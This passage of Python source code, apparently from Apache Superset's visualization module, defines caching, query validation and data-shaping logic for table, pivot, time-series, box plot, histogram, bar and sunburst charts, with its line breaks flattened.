cache_dict["datasource"] = self.datasource.uid cache_dict["extra_cache_keys"] = self.datasource.get_extra_cache_keys(query_obj) cache_dict["rls"] = ( security_manager.get_rls_ids(self.datasource) if config["ENABLE_ROW_LEVEL_SECURITY"] and self.datasource.is_rls_supported else [] ) cache_dict["changed_on"] = self.datasource.changed_on json_data = self.json_dumps(cache_dict, sort_keys=True) return md5_sha_from_str(json_data) def get_payload(self, query_obj: Optional[QueryObjectDict] = None) -> VizPayload: """Returns a payload of metadata and data""" self.run_extra_queries() payload = self.get_df_payload(query_obj) df = payload.get("df") if self.status != utils.QueryStatus.FAILED: payload["data"] = self.get_data(df) if "df" in payload: del payload["df"] return payload def get_df_payload( self, query_obj: Optional[QueryObjectDict] = None, **kwargs: Any ) -> Dict[str, Any]: """Handles caching around the df payload retrieval""" if not query_obj: query_obj = self.query_obj() cache_key = self.cache_key(query_obj, **kwargs) if query_obj else None logger.info("Cache key: {}".format(cache_key)) is_loaded = False stacktrace = None df = None cached_dttm = datetime.utcnow().isoformat().split(".")[0] if cache_key and cache and not self.force: cache_value = cache.get(cache_key) if cache_value: stats_logger.incr("loading_from_cache") try: df = cache_value["df"] self.query = cache_value["query"] self._any_cached_dttm = cache_value["dttm"] self._any_cache_key = cache_key self.status = utils.QueryStatus.SUCCESS is_loaded = True stats_logger.incr("loaded_from_cache") except Exception as ex: logger.exception(ex) logger.error( "Error reading cache: " + utils.error_msg_from_exception(ex) ) logger.info("Serving from cache") if query_obj and not is_loaded: try: invalid_columns = [ col for col in (query_obj.get("columns") or []) + (query_obj.get("groupby") or []) + utils.get_column_names_from_metrics( cast( List[Union[str, Dict[str, Any]]], query_obj.get("metrics"), ) ) if col not in self.datasource.column_names ] if invalid_columns: raise QueryObjectValidationError( _( "Columns missing in datasource: %(invalid_columns)s", invalid_columns=invalid_columns, ) ) df = self.get_df(query_obj) if self.status != utils.QueryStatus.FAILED: stats_logger.incr("loaded_from_source") if not self.force: stats_logger.incr("loaded_from_source_without_force") is_loaded = True except QueryObjectValidationError as ex: error = dataclasses.asdict( SupersetError( message=str(ex), level=ErrorLevel.ERROR, error_type=SupersetErrorType.VIZ_GET_DF_ERROR, ) ) self.errors.append(error) self.status = utils.QueryStatus.FAILED except Exception as ex: logger.exception(ex) error = dataclasses.asdict( SupersetError( message=str(ex), level=ErrorLevel.ERROR, error_type=SupersetErrorType.VIZ_GET_DF_ERROR, ) ) self.errors.append(error) self.status = utils.QueryStatus.FAILED stacktrace = utils.get_stacktrace() if ( is_loaded and cache_key and cache and self.status != utils.QueryStatus.FAILED ): set_and_log_cache( cache_key, df, self.query, cached_dttm, self.cache_timeout, self.datasource.uid, ) return { "cache_key": self._any_cache_key, "cached_dttm": self._any_cached_dttm, "cache_timeout": self.cache_timeout, "df": df, "errors": self.errors, "form_data": self.form_data, "is_cached": self._any_cache_key is not None, "query": self.query, "from_dttm": self.from_dttm, "to_dttm": self.to_dttm, "status": self.status, "stacktrace": stacktrace, "rowcount": len(df.index) if df is not None else 0, } def json_dumps(self, obj: Any, sort_keys: bool = False) -> str: return json.dumps( obj, default=utils.json_int_dttm_ser, ignore_nan=True, sort_keys=sort_keys ) def payload_json_and_has_error(self, payload: VizPayload) -> Tuple[str, bool]: has_error = ( payload.get("status") == utils.QueryStatus.FAILED or payload.get("error") is not None or bool(payload.get("errors")) ) return self.json_dumps(payload), has_error @property def data(self) -> Dict[str, Any]: """This is the data object serialized to the js layer""" content = { "form_data": self.form_data, "token": self.token, "viz_name": self.viz_type, "filter_select_enabled": self.datasource.filter_select_enabled, } return content def get_csv(self) -> Optional[str]: df = self.get_df() include_index = not isinstance(df.index, pd.RangeIndex) return df.to_csv(index=include_index, **config["CSV_EXPORT"]) def get_data(self, df: pd.DataFrame) -> VizData: return df.to_dict(orient="records") @property def json_data(self) -> str: return json.dumps(self.data) def raise_for_access(self) -> None: """ Raise an exception if the user cannot access the resource. :raises SupersetSecurityException: If the user cannot access the resource """ security_manager.raise_for_access(viz=self) class TableViz(BaseViz): """A basic html table that is sortable and searchable""" viz_type = "table" verbose_name = _("Table View") credits = 'a <a href="https://github.com/airbnb/superset">Superset</a> original' is_timeseries = False enforce_numerical_metrics = False def process_metrics(self) -> None: """Process form data and store parsed column configs. 1. Determine query mode based on form_data params. - Use `query_mode` if it has a valid value - Set as RAW mode if `all_columns` is set - Otherwise defaults to AGG mode 2. Determine output columns based on query mode. """ # Verify form data first: if not specifying query mode, then cannot have both # GROUP BY and RAW COLUMNS. fd = self.form_data if ( not fd.get("query_mode") and fd.get("all_columns") and (fd.get("groupby") or fd.get("metrics") or fd.get("percent_metrics")) ): raise QueryObjectValidationError( _( "You cannot use [Columns] in combination with " "[Group By]/[Metrics]/[Percentage Metrics]. " "Please choose one or the other." ) ) super().process_metrics() self.query_mode: QueryMode = QueryMode.get(fd.get("query_mode")) or ( # infer query mode from the presence of other fields QueryMode.RAW if len(fd.get("all_columns") or []) > 0 else QueryMode.AGGREGATE ) columns: List[str] = [] # output columns sans time and percent_metric column percent_columns: List[str] = [] # percent columns that needs extra computation if self.query_mode == QueryMode.RAW: columns = utils.get_metric_names(fd.get("all_columns") or []) else: columns = utils.get_metric_names(self.groupby + (fd.get("metrics") or [])) percent_columns = utils.get_metric_names(fd.get("percent_metrics") or []) self.columns = columns self.percent_columns = percent_columns self.is_timeseries = self.should_be_timeseries() def should_be_timeseries(self) -> bool: fd = self.form_data # TODO handle datasource-type-specific code in datasource conditions_met = (fd.get("granularity") and fd.get("granularity") != "all") or ( fd.get("granularity_sqla") and fd.get("time_grain_sqla") ) if fd.get("include_time") and not conditions_met: raise QueryObjectValidationError( _("Pick a granularity in the Time section or " "uncheck 'Include Time'") ) return bool(fd.get("include_time")) def query_obj(self) -> QueryObjectDict: d = super().query_obj() fd = self.form_data if self.query_mode == QueryMode.RAW: d["columns"] = fd.get("all_columns") order_by_cols = fd.get("order_by_cols") or [] d["orderby"] = [json.loads(t) for t in order_by_cols] # must disable groupby and metrics in raw mode d["groupby"] = [] d["metrics"] = [] # raw mode does not support timeseries queries d["timeseries_limit_metric"] = None d["timeseries_limit"] = None d["is_timeseries"] = None else: sort_by = fd.get("timeseries_limit_metric") if sort_by: sort_by_label = utils.get_metric_name(sort_by) if sort_by_label not in d["metrics"]: d["metrics"].append(sort_by) d["orderby"] = [(sort_by, not fd.get("order_desc", True))] return d def get_data(self, df: pd.DataFrame) -> VizData: """ Transform the query result to the table representation. :param df: The interim dataframe :returns: The table visualization data The interim dataframe comprises of the group-by and non-group-by columns and the union of the metrics representing the non-percent and percent metrics. Note the percent metrics have yet to be transformed. """ # Transform the data frame to adhere to the UI ordering of the columns and # metrics whilst simultaneously computing the percentages (via normalization) # for the percent metrics. if df.empty: return None columns, percent_columns = self.columns, self.percent_columns if DTTM_ALIAS in df and self.is_timeseries: columns = [DTTM_ALIAS] + columns df = pd.concat( [ df[columns], (df[percent_columns].div(df[percent_columns].sum()).add_prefix("%")), ], axis=1, ) return self.handle_js_int_overflow( dict(records=df.to_dict(orient="records"), columns=list(df.columns)) ) def json_dumps(self, obj: Any, sort_keys: bool = False) -> str: return json.dumps( obj, default=utils.json_iso_dttm_ser, sort_keys=sort_keys, ignore_nan=True ) class TimeTableViz(BaseViz): """A data table with rich time-series related columns""" viz_type = "time_table" verbose_name = _("Time Table View") credits = 'a <a href="https://github.com/airbnb/superset">Superset</a> original' is_timeseries = True def query_obj(self) -> QueryObjectDict: d = super().query_obj() fd = self.form_data if not fd.get("metrics"): raise QueryObjectValidationError(_("Pick at least one metric")) if fd.get("groupby") and len(fd["metrics"]) > 1: raise QueryObjectValidationError( _("When using 'Group By' you are limited to use a single metric") ) return d def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data columns = None values: Union[List[str], str] = self.metric_labels if fd.get("groupby"): values = self.metric_labels[0] columns = fd.get("groupby") pt = df.pivot_table(index=DTTM_ALIAS, columns=columns, values=values) pt.index = pt.index.map(str) pt = pt.sort_index() return dict( records=pt.to_dict(orient="index"), columns=list(pt.columns), is_group_by=len(fd.get("groupby", [])) > 0, ) class PivotTableViz(BaseViz): """A pivot table view, define your rows, columns and metrics""" viz_type = "pivot_table" verbose_name = _("Pivot Table") credits = 'a <a href="https://github.com/airbnb/superset">Superset</a> original' is_timeseries = False enforce_numerical_metrics = False def query_obj(self) -> QueryObjectDict: d = super().query_obj() groupby = self.form_data.get("groupby") columns = self.form_data.get("columns") metrics = self.form_data.get("metrics") transpose = self.form_data.get("transpose_pivot") if not columns: columns = [] if not groupby: groupby = [] if not groupby: raise QueryObjectValidationError( _("Please choose at least one 'Group by' field ") ) if transpose and not columns: raise QueryObjectValidationError( _( ( "Please choose at least one 'Columns' field when " "select 'Transpose Pivot' option" ) ) ) if not metrics: raise QueryObjectValidationError(_("Please choose at least one metric")) if set(groupby) & set(columns): raise QueryObjectValidationError(_("Group By' and 'Columns' can't overlap")) return d @staticmethod def get_aggfunc( metric: str, df: pd.DataFrame, form_data: Dict[str, Any] ) -> Union[str, Callable[[Any], Any]]: aggfunc = form_data.get("pandas_aggfunc") or "sum" if pd.api.types.is_numeric_dtype(df[metric]): # Ensure that Pandas's sum function mimics that of SQL. if aggfunc == "sum": return lambda x: x.sum(min_count=1) # only min and max work properly for non-numerics return aggfunc if aggfunc in ("min", "max") else "max" @staticmethod def _format_datetime(value: Union[pd.Timestamp, datetime, date, str]) -> str: """ Format a timestamp in such a way that the viz will be able to apply the correct formatting in the frontend. :param value: the value of a temporal column :return: formatted timestamp if it is a valid timestamp, otherwise the original value """ tstamp: Optional[pd.Timestamp] = None if isinstance(value, pd.Timestamp): tstamp = value if isinstance(value, datetime) or isinstance(value, date): tstamp = pd.Timestamp(value) if isinstance(value, str): try: tstamp = pd.Timestamp(value) except ValueError: pass if tstamp: return f"__timestamp:{datetime_to_epoch(tstamp)}" # fallback in case something incompatible is returned return cast(str, value) def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None if self.form_data.get("granularity") == "all" and DTTM_ALIAS in df: del df[DTTM_ALIAS] metrics = [utils.get_metric_name(m) for m in self.form_data["metrics"]] aggfuncs: Dict[str, Union[str, Callable[[Any], Any]]] = {} for metric in metrics: aggfuncs[metric] = self.get_aggfunc(metric, df, self.form_data) groupby = self.form_data.get("groupby") or [] columns = self.form_data.get("columns") or [] for column_name in groupby + columns: column = self.datasource.get_column(column_name) if column and column.is_temporal: ts = df[column_name].apply(self._format_datetime) df[column_name] = ts if self.form_data.get("transpose_pivot"): groupby, columns = columns, groupby df = df.pivot_table( index=groupby, columns=columns, values=metrics, aggfunc=aggfuncs, margins=self.form_data.get("pivot_margins"), ) # Re-order the columns adhering to the metric ordering. df = df[metrics] # Display metrics side by side with each column if self.form_data.get("combine_metric"): df = df.stack(0).unstack() return dict( columns=list(df.columns), html=df.to_html( na_rep="null", classes=( "dataframe table table-striped table-bordered " "table-condensed table-hover" ).split(" "), ), ) class TreemapViz(BaseViz): """Tree map visualisation for hierarchical data.""" viz_type = "treemap" verbose_name = _("Treemap") credits = '<a href="https://d3js.org">d3.js</a>' is_timeseries = False def _nest(self, metric: str, df: pd.DataFrame) -> List[Dict[str, Any]]: nlevels = df.index.nlevels if nlevels == 1: result = [{"name": n, "value": v} for n, v in zip(df.index, df[metric])] else: result = [ {"name": l, "children": self._nest(metric, df.loc[l])} for l in df.index.levels[0] ] return result def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None df = df.set_index(self.form_data.get("groupby")) chart_data = [ {"name": metric, "children": self._nest(metric, df)} for metric in df.columns ] return chart_data class CalHeatmapViz(BaseViz): """Calendar heatmap.""" viz_type = "cal_heatmap" verbose_name = _("Calendar Heatmap") credits = "<a href=https://github.com/wa0x6e/cal-heatmap>cal-heatmap</a>" is_timeseries = True def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None form_data = self.form_data data = {} records = df.to_dict("records") for metric in self.metric_labels: values = {} for obj in records: v = obj[DTTM_ALIAS] if hasattr(v, "value"): v = v.value values[str(v / 10 ** 9)] = obj.get(metric) data[metric] = values try: start, end = utils.get_since_until( relative_start=relative_start, relative_end=relative_end, time_range=form_data.get("time_range"), since=form_data.get("since"), until=form_data.get("until"), ) except ValueError as ex: raise QueryObjectValidationError(str(ex)) if not start or not end: raise QueryObjectValidationError( "Please provide both time bounds (Since and Until)" ) domain = form_data.get("domain_granularity") diff_delta = rdelta.relativedelta(end, start) diff_secs = (end - start).total_seconds() if domain == "year": range_ = diff_delta.years + 1 elif domain == "month": range_ = diff_delta.years * 12 + diff_delta.months + 1 elif domain == "week": range_ = diff_delta.years * 53 + diff_delta.weeks + 1 elif domain == "day": range_ = diff_secs // (24 * 60 * 60) + 1 # type: ignore else: range_ = diff_secs // (60 * 60) + 1 # type: ignore return { "data": data, "start": start, "domain": domain, "subdomain": form_data.get("subdomain_granularity"), "range": range_, } def query_obj(self) -> QueryObjectDict: d = super().query_obj() fd = self.form_data d["metrics"] = fd.get("metrics") return d class NVD3Viz(BaseViz): """Base class for all nvd3 vizs""" credits = '<a href="http://nvd3.org/">NVD3.org</a>' viz_type: Optional[str] = None verbose_name = "Base NVD3 Viz" is_timeseries = False class BoxPlotViz(NVD3Viz): """Box plot viz from ND3""" viz_type = "box_plot" verbose_name = _("Box Plot") sort_series = False is_timeseries = True def to_series( self, df: pd.DataFrame, classed: str = "", title_suffix: str = "" ) -> List[Dict[str, Any]]: label_sep = " - " chart_data = [] for index_value, row in zip(df.index, df.to_dict(orient="records")): if isinstance(index_value, tuple): index_value = label_sep.join(index_value) boxes: Dict[str, Dict[str, Any]] = defaultdict(dict) for (label, key), value in row.items(): if key == "nanmedian": key = "Q2" boxes[label][key] = value for label, box in boxes.items(): if len(self.form_data["metrics"]) > 1: # need to render data labels with metrics chart_label = label_sep.join([index_value, label]) else: chart_label = index_value chart_data.append({"label": chart_label, "values": box}) return chart_data def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None form_data = self.form_data # conform to NVD3 names def Q1(series: pd.Series) -> float: # need to be named functions - can't use lambdas return np.nanpercentile(series, 25) def Q3(series: pd.Series) -> float: return np.nanpercentile(series, 75) whisker_type = form_data.get("whisker_options") if whisker_type == "Tukey": def whisker_high(series: pd.Series) -> float: upper_outer_lim = Q3(series) + 1.5 * (Q3(series) - Q1(series)) return series[series <= upper_outer_lim].max() def whisker_low(series: pd.Series) -> float: lower_outer_lim = Q1(series) - 1.5 * (Q3(series) - Q1(series)) return series[series >= lower_outer_lim].min() elif whisker_type == "Min/max (no outliers)": def whisker_high(series: pd.Series) -> float: return series.max() def whisker_low(series: pd.Series) -> float: return series.min() elif " percentiles" in whisker_type: # type: ignore low, high = cast(str, whisker_type).replace(" percentiles", "").split("/") def whisker_high(series: pd.Series) -> float: return np.nanpercentile(series, int(high)) def whisker_low(series: pd.Series) -> float: return np.nanpercentile(series, int(low)) else: raise ValueError("Unknown whisker type: {}".format(whisker_type)) def outliers(series: pd.Series) -> Set[float]: above = series[series > whisker_high(series)] below = series[series < whisker_low(series)] # pandas sometimes doesn't like getting lists back here return set(above.tolist() + below.tolist()) aggregate = [Q1, np.nanmedian, Q3, whisker_high, whisker_low, outliers] df = df.groupby(form_data.get("groupby")).agg(aggregate) chart_data = self.to_series(df) return chart_data class BubbleViz(NVD3Viz): """Based on the NVD3 bubble chart""" viz_type = "bubble" verbose_name = _("Bubble Chart") is_timeseries = False def query_obj(self) -> QueryObjectDict: form_data = self.form_data d = super().query_obj() d["groupby"] = [form_data.get("entity")] if form_data.get("series"): d["groupby"].append(form_data.get("series")) # dedup groupby if it happens to be the same d["groupby"] = list(dict.fromkeys(d["groupby"])) self.x_metric = form_data["x"] self.y_metric = form_data["y"] self.z_metric = form_data["size"] self.entity = form_data.get("entity") self.series = form_data.get("series") or self.entity d["row_limit"] = form_data.get("limit") d["metrics"] = [self.z_metric, self.x_metric, self.y_metric] if len(set(self.metric_labels)) < 3: raise QueryObjectValidationError(_("Please use 3 different metric labels")) if not all(d["metrics"] + [self.entity]): raise QueryObjectValidationError(_("Pick a metric for x, y and size")) return d def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None df["x"] = df[[utils.get_metric_name(self.x_metric)]] df["y"] = df[[utils.get_metric_name(self.y_metric)]] df["size"] = df[[utils.get_metric_name(self.z_metric)]] df["shape"] = "circle" df["group"] = df[[self.series]] series: Dict[Any, List[Any]] = defaultdict(list) for row in df.to_dict(orient="records"): series[row["group"]].append(row) chart_data = [] for k, v in series.items(): chart_data.append({"key": k, "values": v}) return chart_data class BulletViz(NVD3Viz): """Based on the NVD3 bullet chart""" viz_type = "bullet" verbose_name = _("Bullet Chart") is_timeseries = False def query_obj(self) -> QueryObjectDict: form_data = self.form_data d = super().query_obj() self.metric = form_data["metric"] d["metrics"] = [self.metric] if not self.metric: raise QueryObjectValidationError(_("Pick a metric to display")) return d def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None df["metric"] = df[[utils.get_metric_name(self.metric)]] values = df["metric"].values return { "measures": values.tolist(), } class BigNumberViz(BaseViz): """Put emphasis on a single metric with this big number viz""" viz_type = "big_number" verbose_name = _("Big Number with Trendline") credits = 'a <a href="https://github.com/airbnb/superset">Superset</a> original' is_timeseries = True def query_obj(self) -> QueryObjectDict: d = super().query_obj() metric = self.form_data.get("metric") if not metric: raise QueryObjectValidationError(_("Pick a metric!")) d["metrics"] = [self.form_data.get("metric")] self.form_data["metric"] = metric return d def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None df = df.pivot_table( index=DTTM_ALIAS, columns=[], values=self.metric_labels, dropna=False, aggfunc=np.min, # looking for any (only) value, preserving `None` ) df = self.apply_rolling(df) df[DTTM_ALIAS] = df.index return super().get_data(df) class BigNumberTotalViz(BaseViz): """Put emphasis on a single metric with this big number viz""" viz_type = "big_number_total" verbose_name = _("Big Number") credits = 'a <a href="https://github.com/airbnb/superset">Superset</a> original' is_timeseries = False def query_obj(self) -> QueryObjectDict: d = super().query_obj() metric = self.form_data.get("metric") if not metric: raise QueryObjectValidationError(_("Pick a metric!")) d["metrics"] = [self.form_data.get("metric")] self.form_data["metric"] = metric # Limiting rows is not required as only one cell is returned d["row_limit"] = None return d class NVD3TimeSeriesViz(NVD3Viz): """A rich line chart component with tons of options""" viz_type = "line" verbose_name = _("Time Series - Line Chart") sort_series = False is_timeseries = True pivot_fill_value: Optional[int] = None def to_series( self, df: pd.DataFrame, classed: str = "", title_suffix: str = "" ) -> List[Dict[str, Any]]: cols = [] for col in df.columns: if col == "": cols.append("N/A") elif col is None: cols.append("NULL") else: cols.append(col) df.columns = cols series = df.to_dict("series") chart_data = [] for name in df.T.index.tolist(): ys = series[name] if df[name].dtype.kind not in "biufc": continue series_title: Union[List[str], str, Tuple[str, ...]] if isinstance(name, list): series_title = [str(title) for title in name] elif isinstance(name, tuple): series_title = tuple(str(title) for title in name) else: series_title = str(name) if ( isinstance(series_title, (list, tuple)) and len(series_title) > 1 and len(self.metric_labels) == 1 ): # Removing metric from series name if only one metric series_title = series_title[1:] if title_suffix: if isinstance(series_title, str): series_title = (series_title, title_suffix) elif isinstance(series_title, list): series_title = series_title + [title_suffix] elif isinstance(series_title, tuple): series_title = series_title + (title_suffix,) values = [] non_nan_cnt = 0 for ds in df.index: if ds in ys: d = {"x": ds, "y": ys[ds]} if not np.isnan(ys[ds]): non_nan_cnt += 1 else: d = {} values.append(d) if non_nan_cnt == 0: continue d = {"key": series_title, "values": values} if classed: d["classed"] = classed chart_data.append(d) return chart_data def process_data(self, df: pd.DataFrame, aggregate: bool = False) -> VizData: fd = self.form_data if fd.get("granularity") == "all": raise QueryObjectValidationError( _("Pick a time granularity for your time series") ) if df.empty: return df if aggregate: df = df.pivot_table( index=DTTM_ALIAS, columns=fd.get("groupby"), values=self.metric_labels, fill_value=0, aggfunc=sum, ) else: df = df.pivot_table( index=DTTM_ALIAS, columns=fd.get("groupby"), values=self.metric_labels, fill_value=self.pivot_fill_value, ) rule = fd.get("resample_rule") method = fd.get("resample_method") if rule and method: df = getattr(df.resample(rule), method)() if self.sort_series: dfs = df.sum() dfs.sort_values(ascending=False, inplace=True) df = df[dfs.index] df = self.apply_rolling(df) if fd.get("contribution"): dft = df.T df = (dft / dft.sum()).T return df def run_extra_queries(self) -> None: fd = self.form_data time_compare = fd.get("time_compare") or [] # backwards compatibility if not isinstance(time_compare, list): time_compare = [time_compare] for option in time_compare: query_object = self.query_obj() try: delta = utils.parse_past_timedelta(option) except ValueError as ex: raise QueryObjectValidationError(str(ex)) query_object["inner_from_dttm"] = query_object["from_dttm"] query_object["inner_to_dttm"] = query_object["to_dttm"] if not query_object["from_dttm"] or not query_object["to_dttm"]: raise QueryObjectValidationError( _( "`Since` and `Until` time bounds should be specified " "when using the `Time Shift` feature." ) ) query_object["from_dttm"] -= delta query_object["to_dttm"] -= delta df2 = self.get_df_payload(query_object, time_compare=option).get("df") if df2 is not None and DTTM_ALIAS in df2: label = "{} offset".format(option) df2[DTTM_ALIAS] += delta df2 = self.process_data(df2) self._extra_chart_data.append((label, df2)) def get_data(self, df: pd.DataFrame) -> VizData: fd = self.form_data comparison_type = fd.get("comparison_type") or "values" df = self.process_data(df) if comparison_type == "values": # Filter out series with all NaN chart_data = self.to_series(df.dropna(axis=1, how="all")) for i, (label, df2) in enumerate(self._extra_chart_data): chart_data.extend( self.to_series( df2, classed="time-shift-{}".format(i), title_suffix=label ) ) else: chart_data = [] for i, (label, df2) in enumerate(self._extra_chart_data): # reindex df2 into the df2 index combined_index = df.index.union(df2.index) df2 = ( df2.reindex(combined_index) .interpolate(method="time") .reindex(df.index) ) if comparison_type == "absolute": diff = df - df2 elif comparison_type == "percentage": diff = (df - df2) / df2 elif comparison_type == "ratio": diff = df / df2 else: raise QueryObjectValidationError( "Invalid `comparison_type`: {0}".format(comparison_type) ) # remove leading/trailing NaNs from the time shift difference diff = diff[diff.first_valid_index() : diff.last_valid_index()] chart_data.extend( self.to_series( diff, classed="time-shift-{}".format(i), title_suffix=label ) ) if not self.sort_series: chart_data = sorted(chart_data, key=lambda x: tuple(x["key"])) return chart_data class MultiLineViz(NVD3Viz): """Pile on multiple line charts""" viz_type = "line_multi" verbose_name = _("Time Series - Multiple Line Charts") is_timeseries = True def query_obj(self) -> QueryObjectDict: return {} def get_data(self, df: pd.DataFrame) -> VizData: fd = self.form_data # Late imports to avoid circular import issues from superset import db from superset.models.slice import Slice slice_ids1 = fd.get("line_charts") slices1 = db.session.query(Slice).filter(Slice.id.in_(slice_ids1)).all() slice_ids2 = fd.get("line_charts_2") slices2 = db.session.query(Slice).filter(Slice.id.in_(slice_ids2)).all() return { "slices": { "axis1": [slc.data for slc in slices1], "axis2": [slc.data for slc in slices2], } } class NVD3DualLineViz(NVD3Viz): """A rich line chart with dual axis""" viz_type = "dual_line" verbose_name = _("Time Series - Dual Axis Line Chart") sort_series = False is_timeseries = True def query_obj(self) -> QueryObjectDict: d = super().query_obj() m1 = self.form_data.get("metric") m2 = self.form_data.get("metric_2") d["metrics"] = [m1, m2] if not m1: raise QueryObjectValidationError(_("Pick a metric for left axis!")) if not m2: raise QueryObjectValidationError(_("Pick a metric for right axis!")) if m1 == m2: raise QueryObjectValidationError( _("Please choose different metrics" " on left and right axis") ) return d def to_series(self, df: pd.DataFrame, classed: str = "") -> List[Dict[str, Any]]: cols = [] for col in df.columns: if col == "": cols.append("N/A") elif col is None: cols.append("NULL") else: cols.append(col) df.columns = cols series = df.to_dict("series") chart_data = [] metrics = [self.form_data["metric"], self.form_data["metric_2"]] for i, m in enumerate(metrics): m = utils.get_metric_name(m) ys = series[m] if df[m].dtype.kind not in "biufc": continue series_title = m d = { "key": series_title, "classed": classed, "values": [ {"x": ds, "y": ys[ds] if ds in ys else None} for ds in df.index ], "yAxis": i + 1, "type": "line", } chart_data.append(d) return chart_data def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data if self.form_data.get("granularity") == "all": raise QueryObjectValidationError( _("Pick a time granularity for your time series") ) metric = utils.get_metric_name(fd["metric"]) metric_2 = utils.get_metric_name(fd["metric_2"]) df = df.pivot_table(index=DTTM_ALIAS, values=[metric, metric_2]) chart_data = self.to_series(df) return chart_data class NVD3TimeSeriesBarViz(NVD3TimeSeriesViz): """A bar chart where the x axis is time""" viz_type = "bar" sort_series = True verbose_name = _("Time Series - Bar Chart") class NVD3TimePivotViz(NVD3TimeSeriesViz): """Time Series - Periodicity Pivot""" viz_type = "time_pivot" sort_series = True verbose_name = _("Time Series - Period Pivot") def query_obj(self) -> QueryObjectDict: d = super().query_obj() d["metrics"] = [self.form_data.get("metric")] return d def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data df = self.process_data(df) freq = to_offset(fd.get("freq")) try: freq = type(freq)(freq.n, normalize=True, **freq.kwds) except ValueError: freq = type(freq)(freq.n, **freq.kwds) df.index.name = None df[DTTM_ALIAS] = df.index.map(freq.rollback) df["ranked"] = df[DTTM_ALIAS].rank(method="dense", ascending=False) - 1 df.ranked = df.ranked.map(int) df["series"] = "-" + df.ranked.map(str) df["series"] = df["series"].str.replace("-0", "current") rank_lookup = { row["series"]: row["ranked"] for row in df.to_dict(orient="records") } max_ts = df[DTTM_ALIAS].max() max_rank = df["ranked"].max() df[DTTM_ALIAS] = df.index + (max_ts - df[DTTM_ALIAS]) df = df.pivot_table( index=DTTM_ALIAS, columns="series", values=utils.get_metric_name(fd["metric"]), ) chart_data = self.to_series(df) for serie in chart_data: serie["rank"] = rank_lookup[serie["key"]] serie["perc"] = 1 - (serie["rank"] / (max_rank + 1)) return chart_data class NVD3CompareTimeSeriesViz(NVD3TimeSeriesViz): """A line chart component where you can compare the % change over time""" viz_type = "compare" verbose_name = _("Time Series - Percent Change") class NVD3TimeSeriesStackedViz(NVD3TimeSeriesViz): """A rich stack area chart""" viz_type = "area" verbose_name = _("Time Series - Stacked") sort_series = True pivot_fill_value = 0 class HistogramViz(BaseViz): """Histogram""" viz_type = "histogram" verbose_name = _("Histogram") is_timeseries = False def query_obj(self) -> QueryObjectDict: """Returns the query object for this visualization""" d = super().query_obj() d["row_limit"] = self.form_data.get("row_limit", int(config["VIZ_ROW_LIMIT"])) numeric_columns = self.form_data.get("all_columns_x") if numeric_columns is None: raise QueryObjectValidationError( _("Must have at least one numeric column specified") ) self.columns = numeric_columns d["columns"] = numeric_columns + self.groupby # override groupby entry to avoid aggregation d["groupby"] = [] return d def labelify(self, keys: Union[List[str], str], column: str) -> str: if isinstance(keys, str): keys = [keys] # removing undesirable characters labels = [re.sub(r"\W+", r"_", k) for k in keys] if len(self.columns) > 1 or not self.groupby: # Only show numeric column in label if there are many labels = [column] + labels return "__".join(labels) def get_data(self, df: pd.DataFrame) -> VizData: """Returns the chart data""" if df.empty: return None chart_data = [] if len(self.groupby) > 0: groups = df.groupby(self.groupby) else: groups = [((), df)] for keys, data in groups: chart_data.extend( [ { "key": self.labelify(keys, column), "values": data[column].tolist(), } for column in self.columns ] ) return chart_data class DistributionBarViz(BaseViz): """A good old bar chart""" viz_type = "dist_bar" verbose_name = _("Distribution - Bar Chart") is_timeseries = False def query_obj(self) -> QueryObjectDict: d = super().query_obj() fd = self.form_data if len(d["groupby"]) < len(fd.get("groupby") or []) + len( fd.get("columns") or [] ): raise QueryObjectValidationError( _("Can't have overlap between Series and Breakdowns") ) if not fd.get("metrics"): raise QueryObjectValidationError(_("Pick at least one metric")) if not fd.get("groupby"): raise QueryObjectValidationError(_("Pick at least one field for [Series]")) return d def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data metrics = self.metric_labels columns = fd.get("columns") or [] # pandas will throw away nulls when grouping/pivoting, # so we substitute NULL_STRING for any nulls in the necessary columns filled_cols = self.groupby + columns df[filled_cols] = df[filled_cols].fillna(value=NULL_STRING) row = df.groupby(self.groupby).sum()[metrics[0]].copy() row.sort_values(ascending=False, inplace=True) pt = df.pivot_table(index=self.groupby, columns=columns, values=metrics) if fd.get("contribution"): pt = pt.T pt = (pt / pt.sum()).T pt = pt.reindex(row.index) chart_data = [] for name, ys in pt.items(): if pt[name].dtype.kind not in "biufc" or name in self.groupby: continue if isinstance(name, str): series_title = name else: offset = 0 if len(metrics) > 1 else 1 series_title = ", ".join([str(s) for s in name[offset:]]) values = [] for i, v in ys.items(): x = i if isinstance(x, (tuple, list)): x = ", ".join([str(s) for s in x]) else: x = str(x) values.append({"x": x, "y": v}) d = {"key": series_title, "values": values} chart_data.append(d) return chart_data class SunburstViz(BaseViz): """A multi level sunburst chart""" viz_type = "sunburst" verbose_name = _("Sunburst") is_timeseries = False credits = ( "Kerry Rodden " '@<a href="https://bl.ocks.org/kerryrodden/7090426">bl.ocks.org</a>' ) def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data cols = fd.get("groupby") or [] cols.extend(["m1", "m2"]) metric = utils.get_metric_name(fd["metric"]) secondary_metric = ( utils.get_metric_name(fd["secondary_metric"]) if "secondary_metric" in fd else None ) if metric == secondary_metric or secondary_metric is None: df.rename(columns={df.columns[-1]: "m1"}, inplace=True) df["m2"] = df["m1"] else: df.rename(columns={df.columns[-2]: "m1"}, inplace=True) df.rename(columns={df.columns[-1]: "m2"}, inplace=True) # Re-order the columns as the query result set column ordering may differ from # that listed in the hierarchy. df = df[cols] return df.to_numpy().tolist() def query_obj(self) -> QueryObjectDict: qry = super().query_obj() fd = self.form_data qry["metrics"] = [fd["metric"]] secondary_metric = fd.get("secondary_metric") if secondary_metric and secondary_metric != fd["metric"]: qry["metrics"].append(secondary_metric) return qry class SankeyViz(BaseViz): """A Sankey diagram that requires a parent-child dataset""" viz_type = "sankey" 